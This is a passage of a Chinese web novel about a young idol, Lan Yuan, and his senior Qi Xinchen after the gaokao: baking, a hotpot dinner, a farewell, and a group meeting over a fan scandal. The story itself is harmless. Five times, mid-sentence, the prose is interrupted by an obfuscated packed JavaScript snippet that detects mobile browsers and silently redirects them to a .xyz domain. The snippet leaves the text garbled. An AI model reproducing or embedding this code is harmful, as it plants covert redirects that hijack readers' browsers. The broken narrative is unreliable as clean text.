那总不能给你留不好的印象。蓝鸢如此想着,抬起头同他对视了一眼,没有说话,只是眼神无辜又单纯,结果反倒是让祁心忱先移开了视线。 “我看看,”这人不经意地低头看手机,像是点开了聊天记录上下拖动一会,才又说,“简旋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437702|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安说出这种话感觉也……不是很奇怪吧?” “不奇怪吗?”蓝鸢问,“大家还得当表面同事呢。” “……他不是一向自认为是正义使者吗,”祁心忱垂了垂眼,不知道在思考什么,最终还是将这句话说了出来,“你想想一公那会。” 蓝鸢一愣。 一公那时候,他和简旋安不在一组,也还没有单方面闹崩,两个人还是关系不错的朋友,自然知道这人所在的组发生的事。 简而言之,起初是再常见不过的、同公司抱团暗戳戳引导投票——简旋安自己实力就那样,竞争不上C位和最好的段落,本来是不受影响的,但这人偏偏就跳了出来,在镜头前一拍桌子,将“你们是不是在抱团”这句话说了出来。 后来这段当然没有被播出——那几个抱团的没有出道,但也不算是弃子定位;简旋安身上有噱头,名校心理系学生体验生活、高考省前十、唯一的F升A剧本,多留几轮也是好事。 但即使如此,这件事也在基地里闹出了一定的阵势,导师组和节目组都进行了干涉,简旋安随之而后的一句“我做不到让这种事在我眼前发生而什么都不管”更是被所有练习生都记住了……再往后的结果是重新投票,以及最后的、没有拿到什么好part的简旋安获得了小组第一。 只不过,简旋安在他心中的形象已经只剩下了“间接害死自己家人的、暂时逃脱法律制裁的诈骗犯的儿子”,之前那些交集中带来的对这个人的认知多少有点模糊了。 虽然蓝鸢也不想对他有什么认知。 “这算什么正义使者。”蓝鸢于是说,“把别人做的坏事说出来就算正义使者吗?他能自己解决问题吗?” “总有人喜欢骗自己的。”祁心忱看着他回答道,“抛开……嗯,这个不能抛开,但即使不论他家里,我依然总觉得他是个很擅长自欺欺人的人。” 蓝鸢沉默了片刻,并觉得有点莫名的讽刺感。 他几乎可以肯定的是,简旋安对于自家的发家史大概率是没那么清楚的——他也想过要不要直接告知他本人,但最终还是放弃了这个想法。 总觉得不是时候。蓝鸢想。况且他无法确定简旋安听到这些话后是什么反应,如果有什么预期之外的反应,对蓝鸢本人来说绝对不是一件好事。 如此思考着,他又突然觉得有点索然无味起来——本来近距离吃瓜的那点心思已经荡然无存,他小声说了句“好多麻烦人哦”,然后抬起头看向祁心忱。 “算了,别看这种不开心的事了,”蓝鸢说着按住了祁心忱的手机屏幕,然后笑了起来,“我有事情要问,我刚出考场的时候你是不是给我偷偷拍了一张照片呀?” “哪有,不要冤枉我,”祁心忱抬起头,目不转睛地盯着他,“我明明都是光明正大拍的——要我发给你吗,可以用来发营业微博哦?” 54. 饼干 蓝鸢没想到自己接下来准备的话术被祁心忱先一步说出了口,一时间停顿在了原地。 “嗯,我想想,”他不好意思直接承认,于是含糊其辞,“嗯!也可以呀,你发给我吧。” 三秒钟后,祁心忱就传了一张照片过来。 照片是祁心忱在校门口等他时拍的,画面定格在了蓝鸢捏着透明笔袋走出校门、站在门口那棵树下视线向着镜头方向看过来、眼神闪闪发亮的那一瞬间。 夕阳的余晖透过树叶的间隙落在他身上,形成了半明半暗的光影。 蓝鸢将图片保存了下来,在fan club和微博上各自发了一份,配上文字“阶段性结束”。 见他出现,评论区立刻跳出来了好多条回复,问他知不知道今天队友发生了什么——但很快,这些回复就被刷了下去,取而代之的是“恭喜考试结束”,以及少量的“照片是星辰给你拍的吗”。 “哥哥,”蓝鸢抬起头问,“有人问照片是不是你拍的,我要怎么说?” “想怎么说就怎么说,”祁心忱站起身,在他额头上戳了戳,“以后这种事不用来问我,你在微博给我乱造谣我都没意见的。” “我在你心中是会乱造谣的人吗。”蓝鸢抬头盯着他,语气无辜。 “现在要吃晚饭吗,”祁心忱眨眨眼,对这一声讨避而不答,而是熟练地岔开话题,“吃过可以带你做小饼干。” “要的要的。”蓝鸢一下就坐直了身子,低头匆匆回复了一句“是的哦[迟筝_点头.jpg]”,而后对着祁心忱喊,“我要学做小饼干——” * 虽说考完了,但他们今晚也没打算吃点什么特别的,依旧还是和前几天差不多。 毕竟也是做偶像的人,蓝鸢他们团下个月有新专发布,祁心忱也正在准备新歌,真为了庆祝高考结束就出去暴饮暴食几天未免太没有职业素养,不容易身材变形也不是不会变形,于是这个“吃顿好的”的名额就留给了第二天中午考完口语后。 刚好祁心忱决赛夜后答应过请他吃火锅,最近工作和复习进程繁忙,这事还没来得及兑现。 而当下,蓝鸢脑子里想着饼干,吃面的速度又快了几分——虽说他心中清楚,就算祁心忱教他做小饼干,他大概率也不能一次学明白;就算可以一次学明白,往后住在团宿舍,也很可能不会有时间和工具真的坐下来制作。 ……但这些本就不是真正重要的事。 “怎么在发呆呀?”祁心忱的声音传来,蓝鸢“啊”了一声抬起头,小声说了句“抱歉”。 他们这会正面对面坐在厨房的长桌前,祁心忱从冰箱和柜子里取出了各种材料平放在桌面。 ——祁心忱他们家房子本来就很大,单论厨房面积,都快赶得上蓝鸢之前和哥哥住的那个小房子的一半了。 同样与之前那个小房子不同的是,虽然经常有油烟,但这个厨房实际上很干净,干净地蓝鸢觉得可以原地搭一个三脚架,用来拍摄做饭综艺了。 “你想拍的话现在也可以呀,”祁心忱听他这么说,“可以录一个vlog什么的。” 实在是一个很让人心动的提议,蓝鸢心想。可以取名叫“和前辈的一夜饼干制作vlog”,看似不经意但实际上超绝刻意,就差把“大家快点来嗑远程吧求你们了”打在标题上了。 “……不用啦,”但他还是犹豫片刻摇了摇头,“感觉有点刻意。” 如此交流着的时候,祁心忱已经将不同种原料按位置摆放好了。 按照这人自己的说法,之所以他的小饼干会比外面买到的好吃,主要是因为他进行了很多尝试,调制出来了最合适的比例和每阶段时长。 蓝鸢看着祁心忱加各种配料进去,在一边有样学样地跟着加。 “我还以为你肯定是那种,”他顺便就说,“手感派呢,加什么加多少什么时候加都看着来,没想到全是定时定量的诶。” “按勺加不算手感派吗,”祁心忱先是有点疑惑地眨了眨眼,接着像是意识到什么般低头笑了起来,“小圆你抬头看一下。” 蓝鸢抬起头,视线顺着祁心忱手指的方向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437703|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看过去。 “你猜我们家厨房为什么会有电子秤天平和秒表。”祁心忱如是说,“不过为了不破坏我家里人的形象,我就暂且不说是谁买来的了。” 蓝鸢顿了顿,而后肃然起敬了起来。 “对了哥哥,”只是祁心忱提到了家里人,他才又后知后觉想起,“舒老师今晚还不回家吗?” “嗯,”祁心忱点了点头,“明天早上还有口语,今晚得守着学生呢——防止考完算分的项目出去彻夜狂欢出什么事。” “怎么问这个呀,”没等蓝鸢做出回答,祁心忱又继续反问,“你想见一下他吗?” “不想,”蓝鸢被这个问题吓了一跳,急匆匆做出否认,接着意识到这么说不太合适,才又补充着解释道,“也不是不想见,就是……现在见老师的话会有点紧张,你能明白吗?我之后肯定会来见舒老师的。” “嗯嗯,那就回头再说,”祁心忱点了点头,又伸手在蓝鸢脑袋上按了按,“对了……那些同学都出去狂欢庆祝去了,你没有去,会不会觉得缺了点什么呀?” “你是不是害怕我哪天比你高了,”蓝鸢抬了抬眼,看着视线中祁心忱收回的手,才低头笑了笑小声说,“不过也没有,我什么都不缺。” “嗯?”祁心忱歪了歪脑袋,不知道是没听清,还是觉得蓝鸢这句话有些奇怪,又或者只是无意识发出的无意义音调。 “我说,”蓝鸢垂眼沉默了几秒,然后又重复了一遍,“我什么都不缺——现在这样就特别好,特别适合用来庆祝了。” 他说完抬起头。 这个比一般厨房更大更整洁的厨房,自然也有干净漂亮的窗户——这会蓝鸢坐的方向刚好面向着窗外,外面零散的灯光同皎洁的圆月的月光交相辉映着,一并洒落在窗框之上。 而以月光为背景,祁心忱坐在对面,目不转睛地注视着他,瞳孔中是蓝鸢并不想去做任何阅读理解的情绪。 有一瞬间,很莫名其妙且毫无来由地,蓝鸢感觉这个地方比他过去十六年待过的任何地方都更像是家里。 55. 意外相遇 高考的口语考试一向都很随意。 虽说蓝鸢早就听祁心忱说过大概的流程,但排队一小时考试三句话的现状,还是让他觉得有点太随意了。 不过运气很好的是,排队时刚好遇上之前高一高二班上的同学,至少不至于让他在这个不能带手机的场子里孤独等待一小时。 这同学明显比前几天遇上的同学更熟悉娱乐圈——这也合情合理,毕竟这位是他们班的文娱委员,每天会带着最新流行歌曲来教室放映的文娱委员。 毕竟蓝鸢是校歌赛常客、是班级文艺活动的指定被推选位,文艺委员哥又是超绝活泼分子。一来二去,蓝鸢和他当初的关系还算不错,属于校外不至于一起玩,但是在学校会一起活动的那种。 决赛夜那天,这位也给蓝鸢发过消息。 想到这里,蓝鸢突然回忆起,他上高一那会,文娱委员哥也在教室放过Dreams的歌——那时候蓝鸢还对随团不太熟、更是对祁心忱没什么印象,之所以记得这事,还是因为Dreams的C位哥在MV里有一个“嘘”的手势。 而MV发行不到一周,这人就被前男友揭发了选秀前脚踏两条船。揭发出来的聊天记录里有“求求你不要说出去替我保密可以吗”这样的话,于是那段时间很多人玩梗,将MV那一段和这个文字剪辑在一起。 这么一想,祁心忱他们当年也挺辛苦的。蓝鸢想。 毕竟Butterfly先出事的是镶边的成员,Dreams一上来就是C位——虽说是实际人气排名只有第三的C,但总会骗到一些不搞选秀只看节目的普通观众的。 但总之,不出所料,文娱委员哥一见到他,就开始打听选秀的事。 准备考试的同学在教学楼前排成了环形队列。蓝鸢这几个月已然养成了眼观六路耳听八方的好习惯,对面话一出口,他就注意到了多道若有若无的目光——这些目光一开始就存在,但或许是出于考场秩序的考虑,没有人敢上来搭话,这会刚好有人做了这件事,大家疲惫的神经似乎都同时兴奋了起来。 “你想打听什么呀?”蓝鸢低头笑了一声,然后问。 “嗯,不知道能不能问,”文娱委员哥居然犹豫了几秒,接着才压低声问,“你感觉……祁心忱这个人私下有什么不好的毛病吗?” 啊? 蓝鸢困惑,蓝鸢不解,蓝鸢偏了偏脑袋,以一种“你想做什么”的审视眼神看向对面的人——稍远处,好几个同学也都在暗戳戳探头探脑,想探究为什么交流声这么小无法满足人的八卦欲望。 “我不是推他的吗,我记得我去年还在班里放过他的歌呀……哦忘了你那会去艺考班了,”文娱委员哥继续小声说,“不过难得有机会找业内人士打听一下自担风评,感觉小圆你和我推关系很好的样子,随便说点什么都可以!我绝对不会说出去的。” 蓝鸢想问“你怎么也开始喊小圆了”,想了想没问;想说“真的看起来就关系很好吗”,但觉得说出来又有点太得意忘形了,于是最终只调侃道:“你怎么不顺便粉一下我呀?” “我给你投了很多票的——不过你和我太近了,”文娱委员哥解释,“我推虽然和我也是校友,但起码我来的时候他已经毕业了,没有直接交集。” 蓝鸢顿了一下,忍住了没问“你知道祁心忱他爸是谁吗”这句话。 既然文娱委员哥在班上放过祁心忱的曲子,那舒老师肯定是听过的。 蓝鸢如此心想着,还是很好心地只开口说:“你放心粉吧,祁心忱人很好的,非常善良正直。” * “好高的评价,”祁心忱笑了一声,对此点评道,“我好荣幸。” “你又荣幸上了。”蓝鸢装模作样叹了口气说,“早知道就不告诉你我说了什么了。” 他们这会正坐在学校附近的一家火锅店里。 这家店蓝鸢之前来吃过一次,当时是班上有个同学过生日。 如今这里也有不少看起来像才高考完的二中学生。好在祁心忱有先见之明,预定了为数不多的包间之一。 于是这顿饭本来应该波澜不惊的……如果不是他们吃得正高兴时,蓝鸢听见门外传来了熟悉的声音的话。 “你听见了吗,”蓝鸢用空着的左手戳了戳祁心忱的肩膀,又指了指门外的方向,试探道,“你是不是提前知道?” “……我不知道啊,”祁心忱先是将门推开了一个缝,悄悄探头看了一眼,才重新关上门,用一种茫然的神色回答道,“他没有给我说过。” 蓝鸢眨了眨眼。 在祁心忱开门的片刻,外面传来的熟悉的语调又清晰了几分——舒越明说着“祝贺大家顺利毕业”,接着是同学们此起彼伏的杂乱的声音。 高考完老师带着一群同学班级聚餐很常见——蓝鸢高三归属的那个班也有聚餐活动,但他没在班上上过课,不认识几个人,加上替代项是无法割舍的“祁心忱请客”,所以蓝鸢很果断地没去。 但自己出来吃饭,恰好遇上老同学和前班主任,多少有些不太常见了。 “……你说,”蓝鸢回过头,将夹着的牛肉吃完, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437704|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深吸了一口气,在脑子里经过了一番天人交战,才抬头看着祁心忱问,“我要出去打个招呼吗?” “不去。”祁心忱说,语气是蓝鸢意料之外的果断,说的也是蓝鸢意料之外的回答。 “诶,”于是蓝鸢歪了歪脑袋,并发出提问,“为什么呀?我以为你会至少说都可以呢。” “那你去吧。”祁心忱眨了眨眼,突然就笑了起来,“你看,你会反问,说明其实你是想去打个招呼的哦。” “你好过分。”蓝鸢深吸一口气,装模作样控诉道,然后站起身,“行吧,我去了,我要去舒老师面前说你坏话。” “嗯嗯。”祁心忱说,然后忍不住笑了出声,“你去说吧,记得多说两句哦。” * 意料之外地,第一个发现蓝鸢的居然还是文娱委员哥。 蓝鸢推开门,就直直对上文娱委员哥的视线。 那人冲他招了招手,又在蓝鸢走过去之后扭头看了看他出来的包间,小声问:“小圆你居然也在这里,所以我推是不是和你在一起?怎么没和你一起出来呀?” “为什么要和我一起出来,”蓝鸢顿了顿,在隐藏和得意忘形之间纠结了一会,这回选了后者,“你都在问什么啊?” “哦哦。”文娱委员哥说,然后笑了起来,“我懂我懂。” 你又懂什么了? 你真懂你就不会想见到祁心忱了,在这个场合见到他就是你见证鬼故事的时候了。蓝鸢心想。 如此想着的时候,舒越明不知道什么时候也转过身,捕捉到了人群中的蓝鸢——蓝鸢顺势就对文娱委员哥说“我过去打个招呼”,然后快速地走了过去,喊了一声“舒老师好”。 舒越明还没来得及回答,蓝鸢又听见身后传来了一句“是大明星小圆呢”——说话的人之前和他还挺熟,这话倒也只是调侃的语气,于是他转过头,瞪了那人一眼,才又对舒越明笑了起来:“好久不见呀老师。” “好久不见。”舒越明说,顺势移动了几步,等两人稍微远离了一点其他同学和老师的区域,才又说,“最近还顺利吗?忱宝没有欺负你吧?” 蓝鸢一听这标准的家长式发言,非常努力才忍住没有笑出声。 “嗯,没有没有,”他如此说着,不由自主地转过头看了一眼包间的方向……接着意料之中看见了开着的门缝,以及凑在门缝背后对他眨了眨眼的祁心忱本人,“哥哥对我很好的,老师您放心。” ……不对,忘记说坏话了。蓝鸢话一出口,又顿了顿,才后知后觉地想起来。 56. 道别 如此想着的时候,舒越明已经笑了起来。 于是蓝鸢也跟着笑,想着幸好是在这样的场合——让他私下去见舒老师多少还不太坦然,这里人比较多,反而让一切都自然了起来。 接着他们又交流了几句。 舒越明看起来对他这大半年的情况比较熟悉,并没有像那种很久不见的长辈一般问来问去,说话的内容主要是祝贺他顺利毕业、以及祝愿他未来工作和学业顺利之类的——这也不奇怪,可能祁心忱多少会提到自己的近况,蓝鸢想。 “我没有提过啊。”只是意料之外地,祁心忱如是说,“我觉得很多事要等你想分享的时候自己说才好,所以我没给我爸说这几个月的情况。” “诶,”蓝鸢有点疑惑地眨了眨眼,思索片刻,挑选了最可能的答案,“难道舒老师会从互联网上关注我们吗?” “应该会吧,”祁心忱眨了眨眼,然后点头道,“虽然我之前问过他……他当时没有承认,但是我不太信,他连我队友花名和黑料都了如指掌。” 蓝鸢笑了出声。 只不过笑过后,他脑子里又不由自主地闪过另一个问题——如果舒越明确实会关注他们粉圈,那他会怎么看待赛后声量越来越大的……他和祁心忱的cp呢? 会因为双方都是自己熟悉的人而觉得不合适吗?或者进一步的,会靠着他本就敏锐的眼光看出来什么吗?如果已经看出来了,他又怎么想呢? 蓝鸢垂了垂眼,突然又有点笑不出来了。 虽说已经做好了……只要无法确认“坦白”不会影响他和祁心忱的继续亲近,那他的选项就只有死不承认一条的心理准备,但早晚还是得面对审判的。 “怎么感觉你有点不开心,”如此想着的时候,祁心忱开口道,“放心好了,他就算看了什么,也只会当个乐子,不会对你的形象有什么影响的。” “嗯嗯。”蓝鸢点了点头说,“我也没有不开心……我只是在自我审视自己这几个月有没有做什么很丢人的事。” “这么多观众都能看到的,”祁心忱试图用不算安慰的话来安慰他,“也不缺我爸一个人了。” “好像也是,”蓝鸢顿了顿,脑子里转了好几个弯,终于又笑了出来,“你说得对——” 这么多观众都在喊“他好爱他”,好像也不缺舒老师一个人这么想——蓝鸢如此想着,之前一闪而过的担心居然诡异般地消退了不少。 毕竟处在镜头下的一切都真假交织。隔着一层屏幕的失真滤镜,自己其实不用那么担心……或许不用。 不过反过来说,担心也没什么用。 蓝鸢如此在心中光速完成了自我说服,决心不再纠结于此事,专心和祁心忱吃这顿饭——他们下午就得坐飞机回去了,接下来一段时间里,糊团会进行第一张EP的筹备集训,下回再和祁心忱见面,大概就得等去看他毕设作品展那天了。 如此想着,蓝鸢在心中叹了口气。 * “那不是只有六天吗?很快的很快的,”听他这么说,祁心忱眨了眨眼说,又补充道,“如果你想见我的话,也可以随时给我发消息,我最近其实还挺闲的。” “你不是在忙着准备新专、巡演和毕业吗?”蓝鸢停顿片刻,还是指出了这一事实。 “这是我一个人的专辑呀,”祁心忱笑了起来,“我什么时候把歌都写好了,什么时候才让我们工作室的大家开始后续工作——很自由的。” “怎么感觉我受到了暗戳戳的伤害,”蓝鸢看了他一眼,“刚我们队群经纪人还在催我和宁郁寒回去。” 说这话的时候,他们已经吃完了火锅,重新回到了祁心忱家。 祁心忱这趟回家需要做的事已经做完了,所以会和蓝鸢坐同一趟四点的航班回去,这会也只是回来拿一下行李。 “你不见一下你家里人吗?”蓝鸢跟在提着旅行箱的祁心忱身后下楼,顿了片刻,还是出声提问,“就这么直接跟我一起回去呀?” “过两周毕业典礼会见到的。”祁心忱如此说,“是21号,你如果感兴趣也可以来玩。” “好,”蓝鸢在脑子里复盘了一下他们接下来大半个月的日程表,而后点点头——接着他就意识到祁心忱看不见他点头,于是开口补充道,“那我提前请个假。” “太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437705|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了,”祁心忱如此回答,语气中带着点笑意,“我也提前找同学交易几张观礼票。” 这话说完,事情商量好,房间里接着就陷入了片刻的沉默。 蓝鸢走下最后一级阶梯时,又不由自主回身看了一眼,接着像是想起来什么一般,骤然停在了原地。 ……不知道为什么,他突然又有点难过的情绪了——蓝鸢自己也说不准自己在难过什么,明明刚度过了即使是经历了高考这等紧张刺激的大事、但依旧非常令人开心的四天时间,根本没有什么难过的理由。 或许是因为身后的脚步声骤然停住,在空旷的房间里十分明显,走在前面的祁心忱也停了下来,回过头看他。 好像自己第一次来这里的时候,那天早上离开之前,也这么看了一眼。 蓝鸢没来由地想到了一些之前的事。 “……哥哥,”他于是转回头,同祁心忱对视——如此沉默般彼此凝视了好几秒,蓝鸢突然大脑不受控般开口道,“其实我之前还挺嫉妒你的。” 祁心忱愣了愣,松开了捏着的行李箱,长叹了一口气,而后向前几步,对蓝鸢伸出手。 “我第一次来这里的时候,其实给自己说,以后不能再麻烦舒老师,也不要再来蹭住了,这里本来的主人虽然同意、但应该也没有人希望自己的私人空间被反复进入。” 蓝鸢握住那只伸过来的很漂亮的手,而后垂了垂眼,感觉自己的大脑有些凌乱而进一步不受自己操纵:“但是后来被我亲哥赶出去那天晚上,我走在路上,突然就觉得很不公平——为什么有的人可以有很好的生活和爱自己的家人呢?” “所以我当时想,”蓝鸢咬了咬嘴唇,心想着不应该说这些可能会让祁心忱对他产生不好印象的话……但内心又有一种冲动驱使着他继续说下去,“既然这个人已经有这么多了,我占用一下他的私人空间其实也没关系吧。” 他如此说着,突然有点久违的、很不应该有的想哭的冲动。 蓝鸢深吸一口气,将这份冲动压了下去,然后抬起头盯着祁心忱:“所以我想——我现在还是应该代替十六岁的我给你道歉的,非常对不起。” 57. 返程与开会 “……没关系的,”祁心忱的指尖动了动,难得地像是有点组织不出语言,说话都变得不流畅了起来,“我……我可以抱一下你吗?” “都可以。”蓝鸢闷闷地说,“你想怎样都行的。” 下一刻,他陷入了一个即使熟悉、但依旧每次都能给他带来新的心情跃动的怀抱。 接着是一片默契的沉默。 蓝鸢说不准此时此刻的祁心忱确切在想什么——但作为一个一向对其他人的心理活动有充分好奇心的人,他却也不是特别想问。 他自己也说不清这是一种什么样的心态。 “小圆同学,”而这份沉默一直持续,持续到祁心忱的声音在耳边响起,“二十岁的我是不会在意这些事的——你不需要道歉,但你想说的话,我也代替当时的我接受它。” 蓝鸢眨了眨眼。 他不知道这是否算是一个意料之中的答案。 祁心忱当然不会在意这些,毕竟在蓝鸢还未曾真正见过他时,就能从无数的生活碎片中窥见他是一个怎样的人。 但作为蓝鸢本人来说……他依旧需要将这些话说出来,并且也依旧需要得到一份明确的回应。 而对于他如今的这一诉求,祁心忱看起来非常清楚。 “谢谢你。”所以蓝鸢如此回答道,语气认真而专注,“你真是……” “我真是一个善良的人。”祁心忱冷不丁地接话。 “你真是一个破坏气氛的人。”蓝鸢本来觉得自己差点要非常丢人地哭出来了,被祁心忱这么一打岔,那点不知名的伤感情绪却又被冲淡了半分,变成了有点无奈的笑意。 其实之前粉丝经常说自己不太爱笑——莫名其妙地,蓝鸢又想,但他好像自己并不这么觉得。 我明明经常笑的呀。蓝鸢如是想。 “不过刚刚说的是二十岁的祁心忱给你的回答,”只是没等他再说点什么,祁心忱就又继续说,“如果换成二十二岁的祁心忱的话,我还有一些话想要作为答案的。” 蓝鸢目不转睛地盯着祁心忱的眼睛……突然就有点莫名其妙的紧张、混杂着一点同样莫名其妙的期待。 祁心忱的眼睛很漂亮,瞳色比一般人更浅淡一点,是有点奇异的色彩。在灯光的照射下,如同星辰般闪耀。 ——蓝鸢如此想着,被自己内心活动中的谐音梗逗笑了一刻。祁心忱目光中带着疑惑,歪着头问他怎么突然笑了出声。 “没什么没什么,”蓝鸢当然不会说自己为什么笑,他只是熟练地选择转移话题,“你刚刚想说什么呀哥哥?” “你又在回避问题,”祁心忱说,还没等蓝鸢反驳“什么叫又在”——或许他也不打算真的追究这份回避,就继续了他的回答,“我想说,无论需要或者不需要,你可以随时找我做任何事,提出任何要求,我会尽我所能做到的。” 蓝鸢怔了怔。 祁心忱的话……看起来和他们之前的说话内容没有任何关系,但蓝鸢的理解能力并没有什么问题,所以他又确确实实知道对方在说什么。 在说没有明说出口的,“如果你想,可以向我索取如同家人一般的、无条件的关心和爱”。 蓝鸢想问为什么要这么说,想问你是站在什么立场这么说……但他问不出口。 他有过于想要得到、但大概率无法得到的答案,所以他更希望这个问题的处于一种悬而未决的状态——现在这样就很好,再好不过。 “这是我的承诺,我一定会遵守的,”或许是因为蓝鸢没有第一时间做出回答,祁心忱看着他,补充了一句,“如果你不放心的话,我可以再说一遍你录音下来。” “没有不放心,”蓝鸢垂了垂眼,然后终于又笑了起来,“我没有不放心,也不用录音,只是——如果我持续不断给你发一些无聊的东西,你不会觉得很烦吗?” “不会呀。”祁心忱答得很快,“说不定只有你自己觉得无聊呢。” “那比如说我大半夜下班,突然打电话说想来找你玩呢?”蓝鸢又问——他也说不清自己想问什么,或许只是想要通过这种本身就很无聊的追问,来得到一些让自己安心的回答。 你明明还是不放心,为什么一定要嘴硬一句“没有不放心”呢,蓝鸢想。 好在祁心忱并没有意识到这一点——或许只是意识到了而没有戳穿。他歪了歪脑袋:“那得看我们在哪里呀……如果在一个城市的话,我当然随时欢迎小圆同学的。” “嗯嗯,”蓝鸢听到这个没有盲目说好反而加了点切合实际的附加前提的回答,很满意地点了点头,又说,“那……算了,我不问了。” 他低头笑了一声:“感觉这样好幼稚。” “哪有,”祁心忱也笑,“你本来就……” 他说到这里,话语诡异地中止。 蓝鸢眨了眨眼,思考片刻:“你是不是想说我本来就是个小朋友,所以幼稚很正常?” “我没有这个意思!”祁心忱非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437706|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常快速且坚决地回应,接着得到了蓝鸢小声的一句“哥哥你这是欲盖弥彰”。 但总之,蓝鸢得到了自己想要……或者说潜意识里想要的答案,于是即使要离开这如同度假一般的高考生活,他也一路都很开心。 人开心起来就容易得意忘形。 得意忘形的蓝鸢在飞机上打开了自己的视频网站app,余光瞥了一眼祁心忱散漫的、不知道落在何处的目光,按了按耳机,点开了之前缓存的这人的直拍视频。 前奏响起,灯光亮起——接着就陷入了一片黑暗。 “小圆同学,”祁心忱盯着他,语气中充满着控诉,“你就是用这种公开处刑的态度对待善良的我的吗?” 蓝鸢歪着脑袋,对他露出一个无辜的笑。 * 虽然直拍没看成,但蓝鸢的这份开心倒是一直持续了下去。 一直持续到祁心忱将他送到宿舍门口。 蓝鸢拖着自己的小行李箱,同祁心忱挥手道别。转过身的一刻,嘴角的幅度瞬间就收了起来。 要去面对麻烦了,他有点无奈地心想。 沈艾初上午给他发消息,说晚上不用去公司,大家直接在宿舍见,经纪人也会在场。 蓝鸢回了他一个“1”,并得到了一个猫猫比心的表情包。 看起来晚上要开一个短会——这时候开会,目的也很好猜,主要就是针对最近的舆论。 ……在昨晚到今上午又有全新进展的舆论。 蓝鸢思考着,目的地已然到达。 他用指纹打开大门,拖着箱子走进去,接着就看到了坐在沙发上的八个人。 经纪人和一个公司小领导坐在左边,一同翻阅平板;沈艾初、叶游和简旋安坐在右边,后两位在小声说话,沈艾初在闭目养神。 剩下三位当事人——去酒吧的任淮、竺明若,以及被最新拉入战局的宁郁寒坐在中间,各自玩手机,表情严肃。 蓝鸢推门的声音打破了屋子里凝固的氛围。 所有人的目光都转了过来。 两秒钟后,沈艾初站起身,对他笑了笑说:“小圆,你回来啦。” 蓝鸢冲他点点头,将箱子往前一推。 滚轮在地板上摩擦,发出在此刻听来明显的“吱——”的一声。他将目光从沈艾初的方向上收回来,没有再看屋子里的任何人。 “我去放行李。”蓝鸢只说,往前走了几步,继续拖上箱子前进,“等等就来。” 58. 大审判1.0 迟筝: 【“我听不懂你们在说什么,和她也只有过一面之缘。”】 【他真的太有信念感了。】 祁心忱: 【没有信念感也不会在那么容易被拍的地方招摇过市了!】 【真是渣男一个啊。】 蓝鸢笑了一下,只是克制住了没有发出声音。 这会客厅的气氛剑拔弩张,他觉得自己还是沉默一点好,不要显得非风暴中心的自己太显眼——于是蓝鸢选择沉默着给祁心忱实时分享当前的战况。 这轮节奏中,宁郁寒被牵扯进的部分尚且不止昨晚那点。 过去的一天里,蓝鸢一直和祁心忱待在一起,没有持续跟进情况,这会坐下来了,才紧急开始论坛补课。 简单来说,被指控的那位任淮的站姐在昨晚终于跳出来说话了,言语间含糊其辞,只说自己作为粉丝,对任淮本人无愧于心——神图站姐的小粉丝在其下进行了大控评,而在她的主页之外,所有人都明白这是承认了和宁郁寒有不正当的联系。 在此之后就是蓝鸢未曾料想的展开了。 论坛讨论此事的过程中,突然有很多帖子跳出来说,这件事本质上是任淮和竺明若去酒吧,宁郁寒就算曾经和别人的站姐私联有错,他这几天也只是在高考,大家不要让有的人在这个故事里隐身了。 但众所周知的是,关注有趣的话题是网友的天性——于是这明显是有人在带节奏。 不过居然还带得有点成功。 